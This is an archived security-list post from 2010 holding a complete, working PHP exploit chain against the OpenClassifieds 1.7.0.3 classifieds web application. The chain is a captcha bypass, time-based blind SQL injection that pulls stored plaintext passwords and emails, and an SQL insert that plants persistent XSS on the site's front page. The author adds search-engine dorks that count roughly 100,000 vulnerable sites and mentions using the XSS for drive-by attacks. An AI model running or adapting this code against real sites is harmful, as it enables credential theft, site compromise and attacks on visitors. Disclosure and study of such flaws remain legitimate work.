Multiple Vulnerabilities in OpenClassifieds 1.7.0.3

2010-12-28T00:00:00
ID SECURITYVULNS:DOC:25397
Type securityvulns
Reporter Securityvulns
Modified 2010-12-28T00:00:00

Description

I understand that this is a vain hope that bugtraq will start posting something useful.

Author:Michael Brooks (Rook)<br> Application:OpenClassifieds 1.7.0.3<br> download: http://open-classifieds.com/download/<br> Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br> If registration is required an extra link in the chain is added:<br> Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br> sites with SEO url's enabled:<br> "powered by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)<br> or default urls:<br> "powered by Open Classifieds" inurl:"item-new.php" (16,500 results)<br> Total sites: ~100,000<br> <br> <br> The target must be a link to the document root of OpenClassifieds<br> (If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)<br> <form> Target:&nbsp;&nbsp;<input size=128 name=target value="http://localhost/"><br> Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br> <input type=submit value="Attack"> </form><br> <?php /* Foreword: I have always wanted to write a chained exploit with a captcha bypass, so I couldn't miss this opportunity. I spent a bit more effort on this exploit even though there aren't very many hits (around 100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities needed to Finnish my masterpiece. Usually when I write a Remote Code Execution exploit for a web app you guys just deface the site or throw up drive-by attacks. So I figured, persistent XSS on the front page is equally as valuable, especially with yet another IE 0-day in the wild. The chain is within the application its self. Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS) doesn't come into play. It works regardless of the operating system or configurations (Suhosin, safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the application's internal configurations that could break the exploitation process. In this case seo friendly urls and requiring an account before posting.

"This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly." Usually when I see that an application claims to be secure, they really don't know what the fuck they are doing. OpenClassifieds' Security model is deeply flawed and as a result there are MANY vulnerabilities in this code base which allowed me to string a few cool ones together to make an interesting exploit. OpenClassifieds is sanitizing everything on input using cG() and cP(), these functions are used to perform a mysql_real_escape_string() on all GET and POST variables. Most servers aren't using an exotic character set so from a security stand point this is exactly identical to magic_quotes_gpc. So I dusted off my usual magic_quotes_gpc auditing tricks, look for stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables in a query, ect... Sanitation must ALWAYS be done at the time of use, parametrized queries are a good example of this. Its impossible to account for all the ways a variable can be mangled once it enters a program and if you Sanitize input when it first enters the program there will be cases where it will become dangerous again. This isn't only a problem for SQLi, its also a problem for XSS. I am inserting JS into the database, which isn't a vulnerablity, but printing it, is persistant XSS.

The blind sql injection is a bit strange. I can't use white space or commas, which is a pain. I had to rewrite my general purpose Blind SQLi Class to accommodate. A binary search is used to greatly speed up the blind sqli attack.
(which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/)

Special thanks to Reiners for this sqli filter evasion cheat sheet: http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/ Here are some changes I had to make to my blind sql injection class: "select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)" if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end"

CWE Violations leveraged by this exploit: CWE-256: Plaintext Storage of a Password CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.) CWE-89: SQL Injection x2 CWE-79: Cross-site Scripting (Persistant)


Vulnerable captcha: openclassifieds/includes/common.php line 291 function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit for ($i = 0; $i < strlen($input); $i++) { $output .= "&#".ord($input[$i]).';'; } //$output = htmlspecialchars($output);//uncomment to escape sepecial chars return $output; }


function mathCaptcha(){//generates a captcha for the form $first_number=mt_rand(1, 94);//first operation number $second_number=mt_rand(1, 5);//second operation number

    $_SESSION[&quot;mathCaptcha&quot;]=&#40;$first_number+$second_number&#41;;//operation result

    $operation=&quot; &lt;b&gt;&quot;.encode_str&#40;$first_number .&quot; + &quot;. $second_number&#41;.&quot;&lt;/b&gt;?&quot;;//operation codifieds

    echo _&#40;&quot;How much is&quot;&#41;.&quot; &quot;.$operation;

}

Vulnerable persistant xss and sqli /content/item-new.php line 41 $ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".

cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");

*/ set_time_limit(0); error_reporting(0);

function main(){ if($_REQUEST['target'] && $_REQUEST['xss']){ if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){ print("<b>Persistant XSS attack was sucessful.</b>"); }else{ print("<b>Persistant XSS attack has failed.</b>"); } } }

//w00t, I can crack your captcha with 4 lines of code! //It would have been 3 if i had used eval(), but that would be a vulnerability ;) function breakCaptcha($page){ preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match); $code=html_entity_decode($match[1]); $math=new EvalMath(); return $math->evaluate($code); }

function xssFrontPage($url,$xss){ $h=new http_client(); $page=$h->send($url."/content/item-new.php"); #Authentication required. if(strstr($page,'Location: http')){#Do we need authentication? print "Blind SQL Injection required.<br>"; $sex=new openclassifieds_blind_sql_injection($url."/"); if($sex->test_target()){ print "Target is vulnerable to attack!<br>"; $pass=$sex->find_string("password"); print "Found Password:<b>$pass</b><br>"; $email=$sex->find_string("email"); print "Found email:<b>$email</b><br>"; $h->postdata="email=$email&password=$pass&submit=loading..."; $h->send($url."/content/account/login.php"); $h->postdata=''; $page=$h->send($url."/"); }else{ die("This target is not exploitable!<br>"); }
}else{ $email="test@test.com"; } $code=breakCaptcha($page); $payload=blind_sql_injection::charEncode($xss); $pwd=mt_rand(1,9999999);//Strong password :p $fake_phone=mt_rand(1111111111,9999999999); $fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com"); $fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254)); //Stored xss in the description,place and name columns.

$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#"; $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code; $h->send($url."/content/item-new.php"); $h->postdata=''; //I could use sql injection to find the id, but thats noisy and slow. $rss=$h->send($url."/content/feed-rss.php"); //seo friendly if(preg_match("/\-(.)\.htm\<\/link\>/",$rss,$match)){ $guess=$match[1]; }else if(preg_match("/item\=(.)\&type/",$rss,$match)){ $guess=$match[1]; }else{ $guess=0; } $guess++; $page=''; $test=false; #Now lets activate the XSS post. for($x=$guess;$x-$guess<=128&&!$test;$x++){ $page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm"); $test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('"); } return $test; }

//http://localhost/openclassifieds/?location=%26%23039;//or//sleep(10)//or//1=%26%23039; //The blind_sql_injeciton calss is a general exploit framework that we are inheriting. class openclassifieds_blind_sql_injection extends blind_sql_injection { //This is the blind sql injection request. function query($check){ //build the http request to Inject a query: //"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES)); $payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;"; #white space becomes and underscore "_" so it must be replaced. $payload=str_replace(" ","/**/",$payload); $this->set_get("location=".$payload); } }

//This is a very efficient blind sql injection class. class blind_sql_injection{ var $url, $backup_url, $result, $http, $request_count, $timeout; function blind_sql_injection($url,$timeout=10){ $this->request_count=0; $this->url=$url; $this->backup_url=$url; $this->http=new http_client(); $this->timeout=$timeout; } function set_get($get){ $this->url=$this->url."?".$get; } function set_referer($referer){ $this->http->referer=$referer; } function set_post($post){ $this->http->postdata=$post; } function test_target(){ return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then sleep(".$this->timeout.") when false then sleep(0) end"); #return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)"); } function num_to_hex($arr){ $ret=''; foreach($arr as $a){ if($a<=9){ $ret.=$a; }else{ $ret.=chr(87+$a); } } return $ret; } ###These where not ported to the non-comma version. //Looking for a string of length 32 and base 16 in ascii chars. #function find_md5($column){ # return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)")); #} #function find_sha1($column){ # return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)")); #} //Look for an ascii string of arbitrary length. function find_string($column){ $ret=''; //A length of zero means we are looking for a null byte terminated string. $result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))"); foreach($result as $r){ $ret.=chr($r); } return strrev($ret); } //query() is a method that generates the sql injection request function query($check){ //This function must be overridden. } function recheck($result,$question,$base){ $this->bin_finder($base,1,$question,$start); //Force a long timeout. $tmp_timeout=$this->timeout; if($this->timeout<10){ $this->timeout=10; }else{ $this->timeout=$this->timeout*2; } $l=1; foreach($result as $r){ if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } $l++; } $this->timeout=$tmp_timeout; } function linear_finder($base,$length,$question){ for($l=1;$l<=$length;$l++){ for($b=0;$b<$base;$b++){ if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } } } } #Binary search for mysql based sql injection. function bin_finder($base,$length,$question){ $start_pos=1; $result=''; for($cur=$start_pos;$cur<=$length||$length==0;$cur++){ $n=$base-1; $low=0; $floor=$low; $high=$n-1; $pos= $low+(($high-$low)/2); $found=false; while($low<=$high&&!$found){ #asking the sql database if the current value is greater than $pos if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end")){ #if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true then the value must be the modulus. if($pos==$n-1){ $result[]=$pos+1; $found=true; }else{ $low=$pos+1; } #asking the sql database if the current value is less than $pos }else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){ #}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true the value must be zero, or in the case of ascii, a null byte. if($pos==$floor+1){ $found=true; #We have found the null terminator so we have finnished our search for a string. if($length==0){ $length=-1; }else{ $result[]=$pos-1; } }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so so then the answer is our guess $pos. $result[]=$pos; $found=true; } $pos=$low+(($high-$low)/2); } print("."); } return $result; } //Fire off the request function send($quesiton){ //build the injected query. $this->query($quesiton); $start=time(); $resp=$this->http->send($this->url); //backup_url is for set_get() $this->url=$this->backup_url; $this->request_count++; return (time()-$start>=$this->timeout); } //retroGod RIP function charEncode($string){ $char="char("; $size=strlen($string); for($x=0;$x<$size;$x++){ $char.=ord($string[$x]).","; } $char[strlen($char)-1]=")%00"; return $char; }
}

//General purpose http client that works on a default php install. (curl not required) class http_client{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; function send($loc){ //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } $ua='Firefox'; if($this->proxy_ip!=''&&$this->proxy_port!=''){ $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); } if( !$fp ) { print "$errstr ($errno)<br>\nn"; return false; } else { if(@!$url['query']){ $url['query']=''; } if( $this->postdata=='' ) { $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } else { $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } if($this->proxy_name!=''&&$this->proxy_pass!=''){ $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"; } $request.="Host: ".$url['host'].":".$url['port']."\r\n"; $request.="User-Agent: ".$ua."\r\n"; $request.="Accept: text/plain\r\n"; if($this->referer!=''){ $request.="Referer: ".$this->referer."\r\n"; } $request.="Connection: Close\r\n"; if($this->cookie!=''){ $request.="Cookie: ".$this->cookie."\r\n" ; } if( $this->postdata!='' ) { $strlength = strlen( $this->postdata ); $request.="Content-type: application/x-www-form-urlencoded\r\n" ; $request.="Content-length: ".$strlength."\r\n\r\n"; $request.=$this->postdata; } fputs( $fp, $request."\r\n\r\n" ); $output=''; while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); $header=explode("\r\n\r\n",$output); if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){ $cookie=explode("Set-Cookie: ",$header[0]); $cookie=explode("\n",$cookie[1]); $cookie=explode(";",$cookie[0]); $this->cookie=trim($cookie[0]); } if(strstr($output,"Query:")){ die($output); } return $output; } } //Use a http proxy function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this->proxy_name=$login[0]; $this->proxy_pass=$login[1]; $addr=explode(':',$proxyAuth[1]); }else{ $addr=explode(':',$proxy); } $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; } //Parses the results from a PHP error to use as a path disclosure. function getPath($url,$pops=1){ $html=$this->send($url); //Regular error reporting: $resp=explode("array given in <b>",$html); if(isset($resp[1])){ $resp = explode("</b>",$resp[1]); }else{ //xdebug's error reporting: $resp=explode("array given in ",$html); if(isset($resp[1])){ $resp = explode(" ",$resp[1]); }else{ $resp[0]=false; } } $path=$resp[0]; //Can't use dirname() if(strstr($path,"\\")){ $p=explode("\\",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("\\",$p); }else{ $p=explode("/",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("/",$p); } return $path; } //Grab the server type from the http header. function getServer($url){ $resp=$this->send($url); $header=explode("Server: ",$resp); $server=explode("\n",$header[1]); return $server[0]; } }

used to evaluate the captcha. 1+2=3

class EvalMath {

            var $suppress_errors = false;
            var $last_error = null;

            var $v = array&#40;&#39;e&#39;=&gt;2.71,&#39;pi&#39;=&gt;3.14&#41;; // variables &#40;and constants&#41;
            var $f = array&#40;&#41;; // user-defined functions
            var $vb = array&#40;&#39;e&#39;, &#39;pi&#39;&#41;; // constants
            var $fb = array&#40;  // built-in functions
                    &#39;sin&#39;,&#39;sinh&#39;,&#39;arcsin&#39;,&#39;asin&#39;,&#39;arcsinh&#39;,&#39;asinh&#39;,
                    &#39;cos&#39;,&#39;cosh&#39;,&#39;arccos&#39;,&#39;acos&#39;,&#39;arccosh&#39;,&#39;acosh&#39;,
                    &#39;tan&#39;,&#39;tanh&#39;,&#39;arctan&#39;,&#39;atan&#39;,&#39;arctanh&#39;,&#39;atanh&#39;,
                    &#39;sqrt&#39;,&#39;abs&#39;,&#39;ln&#39;,&#39;log&#39;&#41;;

            function EvalMath&#40;&#41; {
                    // make the variables a little more accurate
                    $this-&gt;v[&#39;pi&#39;] = pi&#40;&#41;;
                    $this-&gt;v[&#39;e&#39;] = exp&#40;1&#41;;
            }

            function e&#40;$expr&#41; {
                    return $this-&gt;evaluate&#40;$expr&#41;;
            }

            function evaluate&#40;$expr&#41; {
                    $this-&gt;last_error = null;
                    $expr = trim&#40;$expr&#41;;
                    if &#40;substr&#40;$expr, -1, 1&#41; == &#39;;&#39;&#41; $expr = substr&#40;$expr, 0, strlen&#40;$expr&#41;-1&#41;; // strip semicolons at the end
                    //===============
                    // is it a variable assignment?
                    if &#40;preg_match&#40;&#39;/^&#92;s*&#40;[a-z]&#92;w*&#41;&#92;s*=&#92;s*&#40;.+&#41;$/&#39;, $expr, $matches&#41;&#41; {
                            if &#40;in_array&#40;$matches[1], $this-&gt;vb&#41;&#41; { // make sure we&#39;re not assigning to a constant
                                    return $this-&gt;trigger&#40;&quot;cannot assign to constant &#39;$matches[1]&#39;&quot;&#41;;
                            }
                            if &#40;&#40;$tmp = $this-&gt;pfx&#40;$this-&gt;nfx&#40;$matches[2]&#41;&#41;&#41; === false&#41; return false; // get the result and make sure it&#39;s good
                            $this-&gt;v[$matches[1]] = $tmp; // if so, stick it in the variable array
                            return $this-&gt;v[$matches[1]]; // and return the resulting value
                    //===============
                    // is it a function assignment?
                    } elseif &#40;preg_match&#40;&#39;/^&#92;s*&#40;[a-z]&#92;w*&#41;&#92;s*&#92;&#40;&#92;s*&#40;[a-z]&#92;w*&#40;?:&#92;s*,&#92;s*[a-z]&#92;w*&#41;*&#41;&#92;s*&#92;&#41;&#92;s*=&#92;s*&#40;.+&#41;$/&#39;, $expr, $matches&#41;&#41; {
                            $fnn = $matches[1]; // get the function name
                            if &#40;in_array&#40;$matches[1], $this-&gt;fb&#41;&#41; { // make sure it isn&#39;t built in
                                    return $this-&gt;trigger&#40;&quot;cannot redefine built-in function &#39;$matches[1]&#40;&#41;&#39;&quot;&#41;;
                            }
                            $args = explode&#40;&quot;,&quot;, preg_replace&#40;&quot;/&#92;s+/&quot;, &quot;&quot;, $matches[2]&#41;&#41;; // get the arguments
                            if &#40;&#40;$stack = $this-&gt;nfx&#40;$matches[3]&#41;&#41; === false&#41; return false; // see if it can be converted to postfix
                            for &#40;$i = 0; $i&lt;count&#40;$stack&#41;; $i++&#41; { // freeze the state of the non-argument variables
                                    $token = $stack[$i];
                                    if &#40;preg_match&#40;&#39;/^[a-z]&#92;w*$/&#39;, $token&#41; and !in_array&#40;$token, $args&#41;&#41; {
                                            if &#40;array_key_exists&#40;$token, $this-&gt;v&#41;&#41; {
                                                    $stack[$i] = $this-&gt;v[$token];
                                            } else {
                                                    return $this-&gt;trigger&#40;&quot;undefined variable &#39;$token&#39; in function definition&quot;&#41;;
                                            }
                                    }
                            }
                            $this-&gt;f[$fnn] = array&#40;&#39;args&#39;=&gt;$args, &#39;func&#39;=&gt;$stack&#41;;
                            return true;
                    //===============
                    } else {
                            return $this-&gt;pfx&#40;$this-&gt;nfx&#40;$expr&#41;&#41;; // straight up evaluation, woo
                    }
            }

            function vars&#40;&#41; {
                    $output = $this-&gt;v;
                    unset&#40;$output[&#39;pi&#39;]&#41;;
                    unset&#40;$output[&#39;e&#39;]&#41;;
                    return $output;
            }

            function funcs&#40;&#41; {
                    $output = array&#40;&#41;;
                    foreach &#40;$this-&gt;f as $fnn=&gt;$dat&#41;
                            $output[] = $fnn . &#39;&#40;&#39; . implode&#40;&#39;,&#39;, $dat[&#39;args&#39;]&#41; . &#39;&#41;&#39;;
                    return $output;
            }

            //===================== HERE BE INTERNAL METHODS ====================&#92;&#92;

            // Convert infix to postfix notation
            function nfx&#40;$expr&#41; {

                    $index = 0;
                    $stack = new EvalMathStack;
                    $output = array&#40;&#41;; // postfix form of expression, to be passed to pfx&#40;&#41;
                    $expr = trim&#40;strtolower&#40;$expr&#41;&#41;;

                    $ops   = array&#40;&#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;, &#39;^&#39;, &#39;_&#39;&#41;;
                    $ops_r = array&#40;&#39;+&#39;=&gt;0,&#39;-&#39;=&gt;0,&#39;*&#39;=&gt;0,&#39;/&#39;=&gt;0,&#39;^&#39;=&gt;1&#41;; // right-associative operator?  
                    $ops_p = array&#40;&#39;+&#39;=&gt;0,&#39;-&#39;=&gt;0,&#39;*&#39;=&gt;1,&#39;/&#39;=&gt;1,&#39;_&#39;=&gt;1,&#39;^&#39;=&gt;2&#41;; // operator precedence

                    $expecting_op = false; // we use this in syntax-checking the expression
                                                               // and determining when a - is a negation

                    if &#40;preg_match&#40;&quot;/[^&#92;w&#92;s+*^&#92;/&#40;&#41;&#92;.,-]/&quot;, $expr, $matches&#41;&#41; { // make sure the characters are all good
                            return $this-&gt;trigger&#40;&quot;illegal character &#39;{$matches[0]}&#39;&quot;&#41;;
                    }

                    while&#40;1&#41; { // 1 Infinite Loop ;&#41;
                            $op = substr&#40;$expr, $index, 1&#41;; // get the first character at the current index
                            // find out if we&#39;re currently at the beginning of a number/variable/function/parenthesis/operand
                            $ex = preg_match&#40;&#39;/^&#40;[a-z]&#92;w*&#92;&#40;?|&#92;d+&#40;?:&#92;.&#92;d*&#41;?|&#92;.&#92;d+|&#92;&#40;&#41;/&#39;, substr&#40;$expr, $index&#41;, $match&#41;;
                            //===============
                            if &#40;$op == &#39;-&#39; and !$expecting_op&#41; { // is it a negation instead of a minus?
                                    $stack-&gt;push&#40;&#39;_&#39;&#41;; // put a negation on the stack
                                    $index++;
                            } elseif &#40;$op == &#39;_&#39;&#41; { // we have to explicitly deny this, because it&#39;s legal on the stack 
                                    return $this-&gt;trigger&#40;&quot;illegal character &#39;_&#39;&quot;&#41;; // but not in the input expression
                            //===============
                            } elseif &#40;&#40;in_array&#40;$op, $ops&#41; or $ex&#41; and $expecting_op&#41; { // are we putting an operator on the stack?
                                    if &#40;$ex&#41; { // are we expecting an operator but have a number/variable/function/opening parethesis?
                                            $op = &#39;*&#39;; $index--; // it&#39;s an implicit multiplication
                                    }
                                    // heart of the algorithm:
                                    while&#40;$stack-&gt;count &gt; 0 and &#40;$o2 = $stack-&gt;last&#40;&#41;&#41; and in_array&#40;$o2, $ops&#41; and &#40;$ops_r[$op] ? $ops_p[$op] &lt; $ops_p[$o2] :

$ops_p[$op] <= $ops_p[$o2])) { $output[] = $stack->pop(); // pop stuff off the stack into the output } // many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail $stack->push($op); // finally put OUR operator onto the stack $index++; $expecting_op = false; //=============== } elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis? while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last ( if (is_null($o2)) return $this->trigger("unexpected ')'"); else $output[] = $o2; } if (preg_match("/^([a-z]\w)\($/", $stack->last(2), $matches)) { // did we just close a function? $fnn = $matches[1]; // get the function name $arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you) $output[] = $stack->pop(); // pop the function and push onto the output if (in_array($fnn, $this->fb)) { // check the argument count if($arg_count > 1) return $this->trigger("too many arguments ($arg_count given, 1 expected)"); } elseif (array_key_exists($fnn, $this->f)) { if ($arg_count != count($this->f[$fnn]['args'])) return $this->trigger("wrong number of arguments ($arg_count given, " . count($this->f[$fnn]['args']) . " expected)"); } else { // did we somehow push a non-function on the stack? this should never happen return $this->trigger("internal error"); } } $index++; //=============== } elseif ($op == ',' and $expecting_op) { // did we just finish a function argument? while (($o2 = $stack->pop()) != '(') { if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a ( else $output[] = $o2; // pop the argument expression stuff and push onto the output } // make sure there was a function if (!preg_match("/^([a-z]\w)\($/", $stack->last(2), $matches)) return $this->trigger("unexpected ','"); $stack->push($stack->pop()+1); // increment the argument count $stack->push('('); // put the ( back on, we'll need to pop back to it again $index++; $expecting_op = false; //=============== } elseif ($op == '(' and !$expecting_op) { $stack->push('('); // that was easy $index++; $allow_neg = true; //=============== } elseif ($ex and !$expecting_op) { // do we now have a function/variable/number? $expecting_op = true; $val = $match[1]; if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against parentheses... if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func $stack->push($val); $stack->push(1); $stack->push('('); $expecting_op = false; } else { // it's a var w/ implicit multiplication $val = $matches[1]; $output[] = $val; } } else { // it's a plain old var or num $output[] = $val; } $index += strlen($val); //=============== } elseif ($op == ')') { // miscellaneous error checking return $this->trigger("unexpected ')'"); } elseif (in_array($op, $ops) and !$expecting_op) { return $this->trigger("unexpected operator '$op'"); } else { // I don't even want to know what you did to get here return $this->trigger("an unexpected error occured"); } if ($index == strlen($expr)) { if (in_array($op, $ops)) { // did we end with an operator? bad. return $this->trigger("operator '$op' lacks operand"); } else { break; } } while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace $index++; // into implicit multiplication if no operator is there) }

                    } 
                    while &#40;!is_null&#40;$op = $stack-&gt;pop&#40;&#41;&#41;&#41; { // pop everything off the stack and push onto output
                            if &#40;$op == &#39;&#40;&#39;&#41; return $this-&gt;trigger&#40;&quot;expecting &#39;&#41;&#39;&quot;&#41;; // if there are &#40;s on the stack, &#40;&#41;s were unbalanced
                            $output[] = $op;
                    }
                    return $output;
            }

            // evaluate postfix notation
            function pfx&#40;$tokens, $vars = array&#40;&#41;&#41; {

                    if &#40;$tokens == false&#41; return false;

                    $stack = new EvalMathStack;

                    foreach &#40;$tokens as $token&#41; { // nice and easy
                            // if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on
                            if &#40;in_array&#40;$token, array&#40;&#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;, &#39;^&#39;&#41;&#41;&#41; {
                                    if &#40;is_null&#40;$op2 = $stack-&gt;pop&#40;&#41;&#41;&#41; return $this-&gt;trigger&#40;&quot;internal error&quot;&#41;;
                                    if &#40;is_null&#40;$op1 = $stack-&gt;pop&#40;&#41;&#41;&#41; return $this-&gt;trigger&#40;&quot;internal error&quot;&#41;;
                                    switch &#40;$token&#41; {
                                            case &#39;+&#39;:
                                                    $stack-&gt;push&#40;$op1+$op2&#41;; break;
                                            case &#39;-&#39;:
                                                    $stack-&gt;push&#40;$op1-$op2&#41;; break;
                                            case &#39;*&#39;:
                                                    $stack-&gt;push&#40;$op1*$op2&#41;; break;
                                            case &#39;/&#39;:
                                                    if &#40;$op2 == 0&#41; return $this-&gt;trigger&#40;&quot;division by zero&quot;&#41;;
                                                    $stack-&gt;push&#40;$op1/$op2&#41;; break;
                                            case &#39;^&#39;:
                                                    $stack-&gt;push&#40;pow&#40;$op1, $op2&#41;&#41;; break;
                                    }
                            // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on
                            } elseif &#40;$token == &quot;_&quot;&#41; {
                                    $stack-&gt;push&#40;-1*$stack-&gt;pop&#40;&#41;&#41;;
                            // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on
                            } elseif &#40;preg_match&#40;&quot;/^&#40;[a-z]&#92;w*&#41;&#92;&#40;$/&quot;, $token, $matches&#41;&#41; { // it&#39;s a function!
                                    $fnn = $matches[1];
                                    if &#40;in_array&#40;$fnn, $this-&gt;fb&#41;&#41; { // built-in function:
                                            if &#40;is_null&#40;$op1 = $stack-&gt;pop&#40;&#41;&#41;&#41; return $this-&gt;trigger&#40;&quot;internal error&quot;&#41;;
                                            $fnn = preg_replace&#40;&quot;/^arc/&quot;, &quot;a&quot;, $fnn&#41;; // for the &#39;arc&#39; trig synonyms
                                            if &#40;$fnn == &#39;ln&#39;&#41; $fnn = &#39;log&#39;;
                                            eval&#40;&#39;$stack-&gt;push&#40;&#39; . $fnn . &#39;&#40;$op1&#41;&#41;;&#39;&#41;; // perfectly safe eval&#40;&#41;
                                    } elseif &#40;array_key_exists&#40;$fnn, $this-&gt;f&#41;&#41; { // user function
                                            // get args
                                            $args = array&#40;&#41;;
                                            for &#40;$i = count&#40;$this-&gt;f[$fnn][&#39;args&#39;]&#41;-1; $i &gt;= 0; $i--&#41; {
                                                    if &#40;is_null&#40;$args[$this-&gt;f[$fnn][&#39;args&#39;][$i]] = $stack-&gt;pop&#40;&#41;&#41;&#41; return $this-&gt;trigger&#40;&quot;internal error&quot;&#41;;
                                            }
                                            $stack-&gt;push&#40;$this-&gt;pfx&#40;$this-&gt;f[$fnn][&#39;func&#39;], $args&#41;&#41;; // yay... recursion!!!!
                                    }
                            // if the token is a number or variable, push it on the stack
                            } else {
                                    if &#40;is_numeric&#40;$token&#41;&#41; {
                                            $stack-&gt;push&#40;$token&#41;;
                                    } elseif &#40;array_key_exists&#40;$token, $this-&gt;v&#41;&#41; {
                                            $stack-&gt;push&#40;$this-&gt;v[$token]&#41;;
                                    } elseif &#40;array_key_exists&#40;$token, $vars&#41;&#41; {
                                            $stack-&gt;push&#40;$vars[$token]&#41;;
                                    } else {
                                            return $this-&gt;trigger&#40;&quot;undefined variable &#39;$token&#39;&quot;&#41;;
                                    }
                            }
                    }
                    // when we&#39;re out of tokens, the stack should have a single element, the final result
                    if &#40;$stack-&gt;count != 1&#41; return $this-&gt;trigger&#40;&quot;internal error&quot;&#41;;
                    return $stack-&gt;pop&#40;&#41;;
            }

            // trigger an error, but nicely, if need be
            function trigger&#40;$msg&#41; {
                    $this-&gt;last_error = $msg;
                    if &#40;!$this-&gt;suppress_errors&#41; trigger_error&#40;$msg, E_USER_WARNING&#41;;
                    return false;
            }
    }

    // for internal use
    class EvalMathStack {

            var $stack = array&#40;&#41;;
            var $count = 0;

            function push&#40;$val&#41; {
                    $this-&gt;stack[$this-&gt;count] = $val;
                    $this-&gt;count++;
            }

            function pop&#40;&#41; {
                    if &#40;$this-&gt;count &gt; 0&#41; {
                            $this-&gt;count--;
                            return $this-&gt;stack[$this-&gt;count];
                    }
                    return null;
            }

            function last&#40;$n=1&#41; {
                    return $this-&gt;stack[$this-&gt;count-$n];
            }
    }

main(); ?>